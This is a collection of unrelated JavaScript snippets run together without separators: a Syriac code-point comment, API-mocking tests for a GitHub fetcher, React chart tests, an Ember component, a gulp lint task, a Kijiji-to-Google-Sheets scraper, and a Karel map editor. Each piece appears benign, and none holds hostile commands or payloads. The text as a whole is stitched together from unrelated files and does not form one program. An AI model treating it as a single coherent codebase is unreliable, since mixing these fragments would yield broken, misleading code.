// All code points in the Syriac block as per Unicode v5.0.0: [ 0x700, 0x701, 0x702, 0x703, 0x704, 0x705, 0x706, 0x707, 0x708, 0x709, 0x70A, 0x70B, 0x70C, 0x70D, 0x70E, 0x70F, 0x710, 0x711, 0x712, 0x713, 0x714, 0x715, 0x716, 0x717, 0x718, 0x719, 0x71A, 0x71B, 0x71C, 0x71D, 0x71E, 0x71F, 0x720, 0x721, 0x722, 0x723, 0x724, 0x725, 0x726, 0x727, 0x728, 0x729, 0x72A, 0x72B, 0x72C, 0x72D, 0x72E, 0x72F, 0x730, 0x731, 0x732, 0x733, 0x734, 0x735, 0x736, 0x737, 0x738, 0x739, 0x73A, 0x73B, 0x73C, 0x73D, 0x73E, 0x73F, 0x740, 0x741, 0x742, 0x743, 0x744, 0x745, 0x746, 0x747, 0x748, 0x749, 0x74A, 0x74B, 0x74C, 0x74D, 0x74E, 0x74F ];
'use strict' import test from 'ava' import nock from 'nock' import 'babel-core/register' import * as app from '../src/fetch' const listing = [{ name: 'README.md', download_url: 'https://raw.githubusercontent.com/lab-coop/lab-governance/master/README.md', }] const githubApi = nock('https://api.github.com') .get('/repos/lab-coop/lab-governance/contents/') .reply(200, listing); const githubRaw = nock('https://raw.githubusercontent.com') .get('/lab-coop/lab-governance/master/README.md') .reply(200, '# Governance') test("getFilesFromGithub returns a list of gov docs", async t => { const files = await app.getFilesFromGithub() githubApi.done() githubRaw.done() t.is(Array.isArray(files), true) const all = files.join() t.is(all.indexOf("# Governance"), 0) }) test('getRequests skips folders', t => { const mockListing = [{download_url: null}] const requests = app.getRequests(mockListing) t.same(requests, []) }) test('getRequests skips CONTRIBUTING', t => { const mockListing = [{ download_url: 'l', name: 'CONTRIBUTING.md', }] const requests = app.getRequests(mockListing) t.same(requests, []) }) test('getRequests returns files', t => { const mockListing = [{ download_url: 'l', name: 'n.md', }] const requests = app.getRequests(mockListing) t.is(requests[0].url, 'l') })
import { Bar } from '@vx/shape'; import React from 'react'; import { shallow } from 'enzyme'; import { FocusBlurHandler } from '@data-ui/shared'; import { XYChart, BarSeries } from '../../src'; describe('<BarSeries />', () => { const mockProps = { xScale: { type: 'time' }, yScale: { type: 'linear', includeZero: false }, width: 100, height: 100, margin: { top: 10, right: 10, bottom: 10, left: 10 }, ariaLabel: 'label', }; const mockData = [ { date: new Date('2017-01-05'), cat: 'a', num: 15 }, { date: new Date('2018-01-05'), cat: 'b', num: 51 }, { date: new Date('2019-01-05'), cat: 'c', num: 377 }, ]; it('should be defined', () => { expect(BarSeries).toBeDefined(); }); it('should not render without x- and y-scales', () => { expect(shallow(<BarSeries data={[]} />).type()).toBeNull(); }); it('should render one bar per datum', () => { const wrapper = shallow( <XYChart {...mockProps}> <BarSeries data={mockData.map(d => ({ ...d, x: d.date, y: d.num }))} /> </XYChart>, ); const barSeries = wrapper.find(BarSeries).dive(); expect(barSeries.find(Bar)).toHaveLength(mockData.length); const noDataWrapper = shallow( <XYChart {...mockProps}> <BarSeries data={[]} /> </XYChart>, ); const noDataBarSeries = noDataWrapper.find(BarSeries).dive(); expect(noDataBarSeries.find(Bar)).toHaveLength(0); }); it('should not render bars for null data', () => { const wrapper = shallow( <XYChart {...mockProps}> <BarSeries data={mockData.map((d, i) => ({ x: d.date, y: i === 0 ? null : d.num, }))} /> </XYChart>, ); const barSeries = wrapper.find(BarSeries).dive(); expect(barSeries.find(Bar)).toHaveLength(mockData.length - 1); }); it('should render bar width correctly for horizontal barchart', () => { const maxWidth = 500; const maxHeight = 10; const wrapper = shallow( <XYChart width={maxWidth} height={maxHeight} margin={{ top: 0, left: 0, bottom: 0, right: 0, }} yScale={{ type: 'time' }} xScale={{ type: 'linear' }} > <BarSeries data={mockData.map((d, i) => ({ x: mockData.length - i, y: d.date, }))} horizontal /> </XYChart>, ); const barSeries = wrapper.find(BarSeries).dive(); expect( barSeries .find(Bar) .first() .props().width, ).toBe(maxWidth); }); it('should not render horizontal bars for null data', () => { const wrapper = shallow( <XYChart {...mockProps} yScale={{ type: 'time' }} xScale={{ type: 'linear', includeZero: false }} > <BarSeries data={mockData.map((d, i) => ({ x: i === 0 ? null : d.num, y: d.date, }))} horizontal /> </XYChart>, ); const barSeries = wrapper.find(BarSeries).dive(); expect(barSeries.find(Bar)).toHaveLength(mockData.length - 1); }); it('should work with time or band scales', () => { const timeWrapper = shallow( <XYChart {...mockProps} xScale={{ type: 'time' }}> <BarSeries data={mockData.map(d => ({ ...d, x: d.date, y: d.num }))} /> </XYChart>, ); expect(timeWrapper.find(BarSeries)).toHaveLength(1); expect( timeWrapper .find(BarSeries) .dive() .find(Bar), ).toHaveLength(mockData.length); const bandWrapper = shallow( <XYChart {...mockProps} xScale={{ type: 'band' }}> <BarSeries data={mockData.map(d => ({ ...d, x: d.cat, y: d.num }))} /> </XYChart>, ); expect(bandWrapper.find(BarSeries)).toHaveLength(1); expect( bandWrapper .find(BarSeries) .dive() .find(Bar), ).toHaveLength(mockData.length); }); it('should render labels based on the output of renderLabel', () => { const wrapper = shallow( <XYChart {...mockProps}> <BarSeries data={mockData.map((d, i) => ({ x: d.date, y: d.num, label: i === 0 ? 'LABEL' : null, }))} renderLabel={({ datum: d }) => d.label ? ( <text key="k" className="test"> {d.label} </text> ) : null } /> </XYChart>, ); const label = wrapper.render().find('.test'); expect(label).toHaveLength(1); expect(label.text()).toBe('LABEL'); }); it('should call onMouseMove({ datum, data, event, color }), onMouseLeave(), and onClick({ datum, data, event, color }) on trigger', () => { const data = mockData.map(d => ({ ...d, x: d.date, y: d.num })); const onMouseMove = jest.fn(); const onMouseLeave = jest.fn(); const onClick = jest.fn(); const wrapper = shallow( <XYChart {...mockProps} onMouseMove={onMouseMove} onMouseLeave={onMouseLeave} onClick={onClick} > <BarSeries fill="banana" data={data} /> </XYChart>, ); const bar = wrapper .find(BarSeries) .dive() .find(Bar) .first() .dive(); bar.simulate('mousemove', { event: {} }); expect(onMouseMove).toHaveBeenCalledTimes(1); let args = onMouseMove.mock.calls[0][0]; expect(args.data).toBe(data); expect(args.datum).toBe(data[0]); expect(args.event).toBeDefined(); expect(args.color).toBe('banana'); bar.simulate('mouseleave', { event: {} }); expect(onMouseLeave).toHaveBeenCalledTimes(1); bar.simulate('click', { event: {} }); expect(onClick).toHaveBeenCalledTimes(1); args = onClick.mock.calls[0][0]; // eslint-disable-line prefer-destructuring expect(args.data).toBe(data); expect(args.datum).toBe(data[0]); expect(args.event).toBeDefined(); expect(args.color).toBe('banana'); }); it('should not trigger onMouseMove, onMouseLeave, or onClick if disableMouseEvents is true', () => { const data = mockData.map(d => ({ ...d, x: d.date, y: d.num })); const onMouseMove = jest.fn(); const onMouseLeave = jest.fn(); const onClick = jest.fn(); const wrapper = shallow( <XYChart {...mockProps} onMouseMove={onMouseMove} onMouseLeave={onMouseLeave} onClick={onClick} > <BarSeries data={data} disableMouseEvents /> </XYChart>, ); const bar = wrapper .find(BarSeries) .dive() .find(Bar) .first(); bar.simulate('mousemove'); expect(onMouseMove).toHaveBeenCalledTimes(0); bar.simulate('mouseleave'); expect(onMouseLeave).toHaveBeenCalledTimes(0); bar.simulate('click'); expect(onClick).toHaveBeenCalledTimes(0); }); it('should render a FocusBlurHandler for each point', () => { const data = mockData.map(d => ({ ...d, x: d.date, y: d.num })); const wrapper = shallow( <XYChart {...mockProps}> <BarSeries data={data} /> </XYChart>, ); const bars = wrapper.find(BarSeries).dive(); expect(bars.find(FocusBlurHandler)).toHaveLength(data.length); }); it('should invoke onMouseMove when focused', () => { const data = mockData.map(d => ({ ...d, x: d.date, y: d.num })); const onMouseMove = jest.fn(); const wrapper = shallow( <XYChart {...mockProps} onMouseMove={onMouseMove}> <BarSeries data={data} /> </XYChart>, ); const firstPoint = wrapper .find(BarSeries) .dive() .find(FocusBlurHandler) .first(); firstPoint.simulate('focus'); expect(onMouseMove).toHaveBeenCalledTimes(1); }); it('should invoke onMouseLeave when blured', () => { const data = mockData.map(d => ({ ...d, x: d.date, y: d.num })); const onMouseLeave = jest.fn(); const wrapper = shallow( <XYChart {...mockProps} onMouseLeave={onMouseLeave}> <BarSeries data={data} /> </XYChart>, ); const firstPoint = wrapper .find(BarSeries) .dive() .find(FocusBlurHandler) .first(); firstPoint.simulate('blur'); expect(onMouseLeave).toHaveBeenCalledTimes(1); }); });
import Ember from 'ember'; const { Component, computed } = Ember; const { not } = computed; export default Component.extend({ editable: not('course.locked'), courseObjectiveDetails: false, courseTaxonomyDetails: false, courseCompetencyDetails: false, actions: { save: function(){ var self = this; var course = this.get('course'); course.save().then(function(course){ if(!self.get('isDestroyed')){ self.set('course', course); } }); }, } });
var leiphp = require('./'); leiphp.startServer('f:\\github\\tmp\\2013-12-17\\typecho').listen(3001);
'use strict'; var gulp = require('gulp'); var jshint = require('gulp-jshint'); var paths = { scripts: ['src/app/**/*.js', '!src/app/**/*.test.js'] }; gulp.task('lint', function() { return gulp.src(paths.scripts) .pipe(jshint()) .pipe(jshint.reporter('jshint-stylish')) });
// Load environment variables require('dotenv').load(); // Required modules var _ = require('underscore'); var async = require('async'); var kijiji = require('kijiji-scraper'); var spreadsheet = require("google-spreadsheet"); var express = require('express'); var app = express(); // Globals var sheet, creds, locations, categories, minPrice, maxPrice, existingGuids; // Web application app.get('/', function (req, res) { initialize(function(err, writtenAds) { if (err) { // Something happened, display error res.status(500).send("An error occured : " + err.message); } else { // Ads were fetched successfully res.status(200).send("Successfully added " + writtenAds + " ads to spreadsheet."); } }); }); // Server var server = app.listen(process.env.PORT || 5000, function () { var host = server.address().address; var port = server.address().port; console.log('App listening at http://%s:%s', host, port); }); /** * Initializes the app * @param callback */ var initialize = function(callback) { callback = callback || function() {}; // Search paramaters minPrice = process.env.MIN_PRICE; maxPrice = process.env.MAX_PRICE; locations = process.env.LOCATION_IDS.split(','); // Toronto categories = process.env.CATEGORY_IDS.split(','); // Motorcycles // Reset array existingGuids = []; // Google spreadsheet sheet = new spreadsheet(process.env.SPREADSHEET_KEY); creds = { client_email:process.env.CLIENT_EMAIL, private_key:process.env.PRIVATE_KEY }; // Waterfall process async.waterfall([ authenticate, analyze, fetch, write ], callback); }; /** * Authenticates to Google API and makes sure we can write to spreasheet * @param callback */ var authenticate = function(callback) { sheet.useServiceAccountAuth(creds, function(err) { if (err) return callback(err); sheet.getInfo(function(err, sheetInfo) { if (err) return callback(err); return callback(null, sheetInfo) }); }); }; /** * Analyzes current spreadsheet and fetches all existing GUIDs for future use * @param sheetInfo * @param callback */ var analyze = function(sheetInfo, callback) { // TODO : should fetch last 1000 rows and of first // TODO : min-col and max-col should be dynamic (last column) sheet.getCells(1, { 'min-row':1, 'max-row':1000, 'min-col':9, 'max-col':9 }, function(err, cells) { if (err) return callback(err); // Loop through all cells to fetch GUIDs _.each(cells, function(cell) { existingGuids.push(cell.value); }); return callback(null, existingGuids); }); }; /** * Prepares search requests for all search parameters * @param guids * @param callback */ var fetch = function(guids, callback) { var tasks = []; // For each location and category, add a task _.each(locations, function(locationId) { _.each(categories, function(categoryId) { tasks.push(function(taskCallback) { scrape(locationId, categoryId, taskCallback); }); }); }); // Run fetching tasks in parallel async.parallel(tasks, function(err, adGroups) { if (err) return callback(err); // Flatten array var ads = []; ads = ads.concat.apply(ads, adGroups); // Return flattened ads callback(null, ads); }); }; /** * Scrapes Kijiji ads for a location and a category * @param locationId * @param categoryId * @param callback */ var scrape = function(locationId, categoryId, callback) { console.log('Fetching category #%s for location #%s', locationId, categoryId); // Search query var prefs = { locationId:locationId, categoryId:categoryId }; // Search parameters var params = { minPrice:minPrice, maxPrice:maxPrice, adType:'OFFER' }; kijiji.query(prefs, params, function(err, ads) { if (err) return callback(err); // Return ads callback(null, ads); }); }; /** * Writes ads to the spreadsheet * @param ads * @param callback */ var write = function(ads, callback) { // Total number of ads var totalAds = ads.length; // Number of ads written to spreadsheet var writtenAds = 0; // Event handler var onProgress = function() { // Check if we have written as much as we have if (writtenAds >= totalAds) { callback(null, writtenAds); } }; // Loop through each ads _.each(ads, function(ad, index, list) { // Skip ads that are already in the spreadsheet if (existingGuids.indexOf(ad.guid) !== -1) { totalAds--; return onProgress(); } // Prepare data // TODO : data structure should be dynamic var row = { guid:ad.guid, title:ad.title, date:ad['dc:date'], price:parseFloat(ad.innerAd.info['Price'].replace(/\$|,/g, '')), colour:ad.innerAd.info['Colour'], kilometers:ad.innerAd.info['Kilometers'], make:ad.innerAd.info['Make'], model:ad.innerAd.info['Model'], year:parseInt(ad.innerAd.info['Year']), engine:parseInt(ad.innerAd.info['Engine Displacement (cc)']) }; // TODO : create header if non-existent? // Filter out ads with missing info for (var key in row) { if (row[key] == null) { totalAds--; return onProgress(); } } // Additional filter, engine must be >= 500 <= 1100 if (row.engine < 500 || row.engine > 1100) { totalAds--; return onProgress(); } // Add ad to spreasheet sheet.addRow(1, row, function(err) { if (err) { totalAds--; // TODO : Trigger callback? } else { writtenAds++; } return onProgress(); }); }); };
document.body.oncontextmenu = function() { return false; }; var start_map = []; var final_map = []; var maxCellsInLine = 15; var minCellsInLine = 1; var maxFinalMaps = 3; var minRateMapSize = 0.9; //Storage.clear('maps'); var visualise = {"visibility": "visible"}; var hide = {"visibility": "hidden"}; //____________________________________________________________buttons___________________________________________________ var $exit_btn = $('#exit-btn'); var $select_map = $('#map-selection-list'); var $reset_btn = $('#reset'); var $start_map = $('#start-map'); var $final_map = $('#final-map'); var $add_final_map = $('#plus-final-map'); var $finalize = $('#finalize'); var $decrement_height = $('#decrement-height'); var $increment_height = $('#increment-height'); var $decrement_width = $('#decrement-width'); var $increment_width = $('#increment-width'); var $wall_cell = $('#wall'); var $empty_cell = $('#empty'); var $beeper_cell = $('#beeper'); var $karel_cell = $('#karel'); var $backpack_cell = $('#backpack'); var $minus = $('#minus'); var $plus = $('#plus'); var $close_final = $('#close-final'); var $complete = $('#complete'); var $name = $('#name'); var $description = $('#description'); var $close_pop_up = $('#close-pop-up'); var $close_alert = $('#close-alert'); var $ok_alert = $('#ok-alert'); var $alert_msg = $('#alert-msg'); var $alert = $('#alert'); var $beepers_count = $('#beepers-count'); var $num_beepers = $('#num-beepers'); var $button_panel = $('#button-panel'); var $map_selector_btn = $('#map-selector-btn'); var $sidebar = $('#sidebar'); var $map_list = $('#world-list-tab'); var $map_field = $('#map-field'); var $val_width = $('#value-width'); var $val_height = $('#value-height'); var $count_beepers = $('#inner'); var $original_map = $('#original-map'); var $final_maps = $('#final-maps'); var $reset_arrow = $('#reset-arrow'); //=================================================active buttons functions============================================= //_____________________________________________________edit cell buttons________________________________________________ var active_edit_button = false; function activeToggle (el) { $(".btn-cell").css({"box-shadow": "none"}); if (active_edit_button == el) { active_edit_button = false; } else { active_edit_button = el; $(el).css({"box-shadow": "0 0 10px #000"}); } } //_______________________________________________________edit backpack__________________________________________________ var active_backpack = false; function changeNumBeepersInBackpack() { active_backpack = true; $beepers_count.css(visualise); $num_beepers.val($count_beepers.text()).select(); $num_beepers.keypress( function(e) { var keycode = (e.keyCode ? e.keyCode : e.which); if (keycode == 13) { var result = parseInt($num_beepers.val()); if (result >= 0 && result <= 1000) { $count_beepers.text(result); } $beepers_count.css(hide); active_backpack = false; } }); } function hideInput() { $beepers_count.css(hide); active_backpack = false; } //_______________________________________________________show world list________________________________________________ var active_selector = false; function toggleShowWorldList() { if (active_selector) { $sidebar.css({"right": "-17em"}); active_selector = false; } else { $sidebar.css({"right": "8em"}); active_selector = true; } } //__________________________________________________zip map_____________________________________________________________ function zipMap(map) { var zippedMap = []; var currKarel = {}; for (var row = 0; row < map.length; row++) { zippedMap.push([]); for (var cell = 0; cell < map[row].length; cell++) { var symbol = ''; if (map[row][cell].blocked) { symbol = 'x'; } else if (map[row][cell].beepers) { symbol = map[row][cell].beepers; } if (map[row][cell].isKarel) { currKarel.position = [cell, row]; currKarel.direction = map[row][cell].karelDirection % 4; currKarel.beepers = $count_beepers.text(); } zippedMap[row].push(symbol); } } var res_map = {map: zippedMap, karel: currKarel}; return res_map; } //__________________________________________________unzip map___________________________________________________________ function unzipMap(map){ var resultMap = []; for (var y = 0; y < map.map.length; y++) { resultMap.push([]); for (var x = 0; x < map.map[y].length; x++){ var cell; if (!map.map[y][x]) { cell = new Cell(); } else if (map.map[y][x] == 'x'){ cell = new Cell(true); } else { cell = new Cell(false, map.map[y][x]); } resultMap[y].push(cell); } } if (map.karel.position) { cell = resultMap[map.karel.position[1]][map.karel.position[0]]; resultMap[map.karel.position[1]][map.karel.position[0]] = new Cell(cell.blocked, cell.beepers, true, map.karel.direction); $count_beepers.text(map.karel.beepers); } return resultMap; } //===================================================Classes constructors=============================================== function Cell(wall, beepers, karel, direction){ this.blocked = wall || false; this.beepers = beepers || 0; this.isKarel = karel || false; this.karelDirection = direction || 1; } function MapEdited(map) { this.map = map; this.karel = false; this.karelPosition = [-1, -1]; this.scale = 1; } function Maps(maps) { this.active_map = "start"; this.name = maps.name || "new-map"; this.description = maps.description || "problem solving"; this.start_map_editor = new MapEdited(unzipMap(maps.original)); this.final_map_editor = []; this.activateFinalMapsEditor(maps.final); this.originalMap = {}; this.finalMap = []; this.markActiveMap(); } function isStartActiveMap(activeMap) { return activeMap == "start"; } //======================================================Method descriptions============================================ Maps.prototype.markActiveMap = function() { $(".row").removeClass("highlight"); var id; if (isStartActiveMap(this.active_map)) { id = "#start-map"; } else { id = "#final-map" + ((this.active_map) ? this.active_map + 1 : ''); } $(id).addClass("highlight"); }; Maps.prototype.activateFinalMapsEditor = function(maps){ var _this = this; maps.forEach( function (map, idx) { _this.addFinalMap(unzipMap(map)); if (idx > 0) { addIconFinalMap(idx + 1); } }) }; Maps.prototype.addFinalMap = function (map) { var _this = this; var currentMap = map || JSON.parse(JSON.stringify(basicMap)); _this.final_map_editor.push(new MapEdited(currentMap)); }; Maps.prototype.removeFinalMap = function (idx) { var _this = this; _this.final_map_editor.splice(idx, 1); }; Maps.prototype.getActiveMap = function () { var _this = this; if (isStartActiveMap(this.active_map)) { return _this.start_map_editor; } else { return _this.final_map_editor[_this.active_map]; } }; function referToStartMap(startMap, finalMap) { if (finalMap.length !== startMap.length || finalMap[0].length !== startMap[0].length) { finalMap = []; for (var wdh = 0; wdh < startMap.length; wdh++) { finalMap.push([]); for (var hgt = 0; hgt < startMap[wdh].length; hgt++) { var currentCell = ((startMap[wdh][hgt]).blocked) ? new Cell(true) : new Cell(); finalMap[wdh].push(currentCell); } } } else { for (var wdh = 0; wdh < startMap.length; wdh++) { for (var hgt = 0; hgt < startMap[wdh].length; hgt++) { if ((startMap[wdh][hgt]).blocked) { finalMap[wdh][hgt] = new Cell(true); } else if (finalMap[wdh][hgt].blocked) { finalMap[wdh][hgt] = new Cell(); } } } } return finalMap; } Maps.prototype.setActiveMap = function (map) { var _this = this; _this.active_map = map; if (!isStartActiveMap(this.active_map)) { _this.final_map_editor[_this.active_map].map = referToStartMap(_this.start_map_editor.map, _this.final_map_editor[_this.active_map].map); } _this.markActiveMap(); _this.getActiveMap().redrawMap(); }; Maps.prototype.saveStartMap = function () { var _this = this; _this.originalMap = zipMap(_this.start_map_editor.map); }; Maps.prototype.saveFinalMap = function () { var _this = this; var finalMaps = []; _this.final_map_editor.forEach( function (map) { finalMaps.push(zipMap(map.map)); }); _this.finalMap = finalMaps; }; Maps.prototype.saveAllMaps = function () { var _this = this; var maps = {}; $name.val(_this.name); $description.val(_this.description); $complete.css(visualise); $complete.submit(function (e) { e.preventDefault(); _this.name = ($name.val()) ? $name.val() : _this.name; _this.description = ($description.val()) ? $description.val() : _this.description; maps.name = _this.name; maps.original = _this.originalMap; maps.final = _this.finalMap; maps.description = _this.description; Storage.addMap(_this.name, maps); $complete.css(hide); refreshWorldList(); }); }; Maps.prototype.completeEdit = function () { var _this = this; _this.saveStartMap(); if (!_this.originalMap.karel.position){ alertMessage('You should set Karel on start map!'); } else { _this.saveFinalMap(); _this.saveAllMaps(); } }; //___________________________________________________draw map___________________________________________________________ MapEdited.prototype.createDomMap = function() { this.karel = false; var table = '<table id="map">'; for (var row = 0; row < this.map.length; row++) { table = table + '<tr>'; for (var cell = 0; cell < this.map[row].length; cell++) { var domCell = analyzeCell(row, cell, this.map[row][cell], this); table = table + "<td>" + domCell + "</td>" } table = table + "</tr>"; } return table + "</table>"; }; function analyzeCell(y, x, cell, ctx){ var id = "y" + y + "x" + x; if (cell.blocked) { return '<div class="cell wall" id="' + id + '"></div>'; } var direction; if (cell.beepers && cell.isKarel) { ctx.karel = true; ctx.karelPosition = [x, y]; direction = renderKarelDirection(cell.karelDirection % 4); return '<div class="cell karel ' + direction + '" id="' + id + '"><div class="beeper">' + cell.beepers + '</div></div>'; } if (cell.beepers) { return '<div class="cell" id="' + id + '"><div class="beeper">' + cell.beepers + '</div></div>'; } if (cell.isKarel) { ctx.karel = true; ctx.karelPosition = [x, y]; direction = renderKarelDirection(cell.karelDirection % 4); return '<div class="cell karel ' + direction + '" id="' + id + '"></div>'; } return '<div class="cell" id="' + id + '"></div>'; } function renderKarelDirection(direction) { if (direction == 0) { return "direction-south"; } else if (direction == 2) { return "direction-north"; } else if (direction == 3) { return "direction-west" } else { return "direction-east"; } } //_________________________________________________redraw map__________________________________________________________ MapEdited.prototype.redrawMap = function () { var _this = this; $map_field.html(_this.createDomMap()); $('.cell').mousedown(function(e) { var id = $(this).attr('id'); if (e.which == 3) { e.preventDefault(); _this.editMap(id, true); } else { _this.editMap(id); } }); $val_height.text(_this.map.length); $val_width.text(_this.map[0].length); }; // Edit map //====================================================================================================================== // ___________________________________________resize map _______________________________________________________________ var visibleFieldHeight = $(window).height() - (2 * $('.bottom-panel').height()); var visibleFieldWidth = $(window).width() - 2 * $('#control-editor').width(); MapEdited.prototype.incrementWidth = function() { var _this = this; if (_this.map[0].length < maxCellsInLine) { for (var h = 0; h < _this.map.length; h++) { var emptyCell = new Cell(); _this.map[h].push(emptyCell); } if( $('#map').width() * _this.scale > visibleFieldWidth || $('#map').height() * _this.scale > visibleFieldHeight) { _this.scaleMap("decrement"); } _this.redrawMap(); } else { alertMessage("Max field width is reached."); } }; MapEdited.prototype.decrementWidth = function() { var _this = this; if (_this.map[0].length > minCellsInLine) { for (var h = 0; h < _this.map.length; h++) { _this.map[h].pop(); } if( $('#map').width() * _this.scale < minRateMapSize * visibleFieldWidth && $('#map').height() * _this.scale < minRateMapSize * visibleFieldHeight) { _this.scaleMap("increment"); } _this.redrawMap(); } }; MapEdited.prototype.incrementHeight = function() { var _this = this; if (_this.map.length < maxCellsInLine) { _this.map.push([]); for (var w = 0; w < _this.map[0].length; w++) { var emptyCell = new Cell(); _this.map[_this.map.length - 1].push(emptyCell); } if( $('#map').height() * _this.scale > visibleFieldHeight || $('#map').width() * _this.scale > visibleFieldWidth) { _this.scaleMap("decrement"); } _this.redrawMap(); } else { alertMessage("Max field height is reached."); } }; MapEdited.prototype.decrementHeight = function() { var _this = this; if (_this.map.length > minCellsInLine){ _this.map.pop(); if( $('#map').width() * _this.scale < minRateMapSize * visibleFieldWidth && $('#map').height() * _this.scale < minRateMapSize * visibleFieldHeight ) { _this.scaleMap("increment"); } _this.redrawMap(); } }; MapEdited.prototype.scaleMap = function(resize) { var _this = this; if (resize == 'decrement' && _this.scale > 0.5) { _this.scale = _this.scale - 0.1; } else if (resize == 'increment' && _this.scale < 1) { _this.scale = _this.scale + 0.1; } $map_field.css( 'transform', 'scale(' + _this.scale + ', ' + _this.scale + ')' ); }; //_____________________________________________________edit-cell________________________________________________________ MapEdited.prototype.editMap = function (id, decrement) { var pos = id.indexOf('x'); var y = id.slice(1, pos); var x = id.slice(pos + 1); var currentCell = this.map[y][x]; if (active_edit_button) { if (active_edit_button == "#wall") { mountWall(currentCell); } else if (active_edit_button == "#beeper") { changeBeepersCount(currentCell, decrement); } else if (active_edit_button == "#empty") { clearCell(currentCell); } else { determinateKarelPosition(this, x, y, currentCell, decrement); } } else if (currentCell.isKarel) { currentCell.karelDirection = currentCell.karelDirection % 4 + 1; } this.redrawMap(); }; function mountWall(cell) { if (cell.blocked) { cell.blocked = false; } else { cell.blocked = true; cell.beepers = 0; removeKarel(cell); } } function changeBeepersCount(cell, decrement) { if (decrement) { if (cell.beepers > 1) { cell.beepers--; } else { cell.beepers = false; } } else { cell.blocked = false; cell.beepers++; } } function clearCell(cell) { cell.blocked = false; cell.beepers = 0; removeKarel(cell); } function determinateKarelPosition(ctx, x, y, cell, decrement) { if (cell.isKarel && decrement) { cell.isKarel = false; ctx.karel = [-1, -1]; } else if (cell.isKarel) { cell.karelDirection = cell.karelDirection % 4 + 1; } else if (!decrement) { cell.isKarel = true; cell.blocked = false; if (ctx.karel) { ctx.map[ctx.karelPosition[1]][ctx.karelPosition[0]].isKarel = false; } ctx.karel = true; ctx.karelPosition = [x, y]; } } function removeKarel(cell) { if (cell.isKarel) { cell.isKarel = false; cell.karelDirection = 1; } } //_______________________________________________________reset map______________________________________________________ MapEdited.prototype.resetMap = function () { var _this = this; activeToggle(false); _this.map = JSON.parse(JSON.stringify(basicMap)); _this.scale = 1; $map_field.css( 'transform', 'scale(' + _this.scale + ', ' + _this.scale + ')' ); $map_field.css( 'top', 0); $map_field.css( 'left', 0); _this.redrawMap(); }; // click buttons //====================================================================================================================== // ___________________________________________resize map _______________________________________________________________ $increment_width.click(function(){ if (isStartActiveMap(setMap.active_map)) { setMap.getActiveMap().incrementWidth(); } }); $decrement_width.click(function() { if (isStartActiveMap(setMap.active_map)) { setMap.getActiveMap().decrementWidth(); } }); $increment_height.click(function(){ if (isStartActiveMap(setMap.active_map)) { setMap.getActiveMap().incrementHeight(); } }); $decrement_height.click(function(){ if (isStartActiveMap(setMap.active_map)) { setMap.getActiveMap().decrementHeight(); } }); //_______________________________________________________exit__________________________________________________________ $exit_btn.click(function(){ window.location.href="./play.html"; }); //_______________________________________________________reset__________________________________________________________ $reset_btn.click(function(){ $reset_arrow.css({"transform": "rotate(360deg)"}); $reset_arrow.css({"transition": "all 0.5s linear"}); setMap.getActiveMap().resetMap(); setTimeout(function() { $reset_arrow.css({"transition": "none"}); $reset_arrow.css({"transform": "none"}) }, 1000); }); //___________________________________________________show start map_____________________________________________________ function changeHighlightSizeEditArrows(turnOn) { if (turnOn) { $('[class*=arrow]').addClass("on-edit"); } else { $('[class*=arrow]').removeClass("on-edit"); } } $start_map.click(function() { setMap.setActiveMap("start"); changeHighlightSizeEditArrows("turnOn"); }); //___________________________________________________add remove and show final map_____________________________________________ $final_map.click(function() { setMap.setActiveMap(0); changeHighlightSizeEditArrows(); }); $add_final_map.click(function() { if (setMap.final_map_editor.length == maxFinalMaps) { alertMessage('You can save up to ' + maxFinalMaps + ' final maps.'); } else { setMap.addFinalMap(); addIconFinalMap(setMap.final_map_editor.length); } }); function addIconFinalMap(item) { var icon = createDomElementIcon(item); $button_panel.append(icon); var idx = item - 1; $('#final-map' + item).click(function() { setMap.setActiveMap(idx); changeHighlightSizeEditArrows(); }); $('#close-final' + item).click(function() { smartRemoveFinalMap(idx); }); } function createDomElementIcon (item) { return '<div class="row final-maps optional" id="final-map' + item + '"><div class="button"></div><div class="num">' + item + '</div><div class="cross-sign" id="close-final' + item + '"></div></div>'; } function smartRemoveFinalMap(idx) { if (idx == 0 && setMap.final_map_editor.length == 1) { setMap.final_map_editor[idx].resetMap(); } else { $('#final-map' + setMap.final_map_editor.length).remove(); setMap.removeFinalMap(idx); } } $close_final.click(function() { smartRemoveFinalMap(0); }); //___________________________________________________save all maps______________________________________________________ $finalize.click(function() { setMap.completeEdit(); }); //___________________________________________________map-edit-buttons___________________________________________________ $wall_cell.click(function(){ activeToggle('#wall'); }); $beeper_cell.click(function(){ activeToggle('#beeper'); }); $karel_cell.click(function(){ activeToggle('#karel'); }); $empty_cell.click(function() { activeToggle('#empty'); }); $backpack_cell.click(function() { if (active_backpack) { hideInput(); } else { changeNumBeepersInBackpack(); } }); $map_field.mousedown(function() { if (!active_edit_button) { $map_field.draggable(); } }); $minus.click(function() { setMap.getActiveMap().scaleMap('decrement'); }); $plus.click(function() { setMap.getActiveMap().scaleMap('increment'); }); //________________________________________________other functional buttons________________________________________________ function alertMessage(msg) { $alert_msg.text(msg); $alert.css(visualise); } $close_alert.click( function() { $alert.css(hide); }); $ok_alert.click( function() { $alert.css(hide); }); $close_pop_up.click( function() { $complete.css(hide); }); $map_selector_btn.click( function() { toggleShowWorldList(); }); //_____________________________________________________start edit map___________________________________________________ var editorMapSelector = new MapSelector($map_list); var emptyCell = new Cell(); var basicMap =[[emptyCell]]; var setMap = new Maps({original: {map: [['']], karel: {}}, final: [{map: [['']], karel: {}}]}); setMap.getActiveMap().redrawMap(); function loadSetMaps(maps) { $(".optional").remove(); setMap = new Maps(maps); setMap.getActiveMap().redrawMap(); } function mapSelectorDeleteCallback(map) { Storage.removeMap(map.name); refreshWorldList(); } function refreshWorldList() { $map_list.html('<div class="tab-title"><span>World List</span></div>'); editorMapSelector.formUlList({ deleteCallback : mapSelectorDeleteCallback }); } editorMapSelector.onChange(loadSetMaps); refreshWorldList();
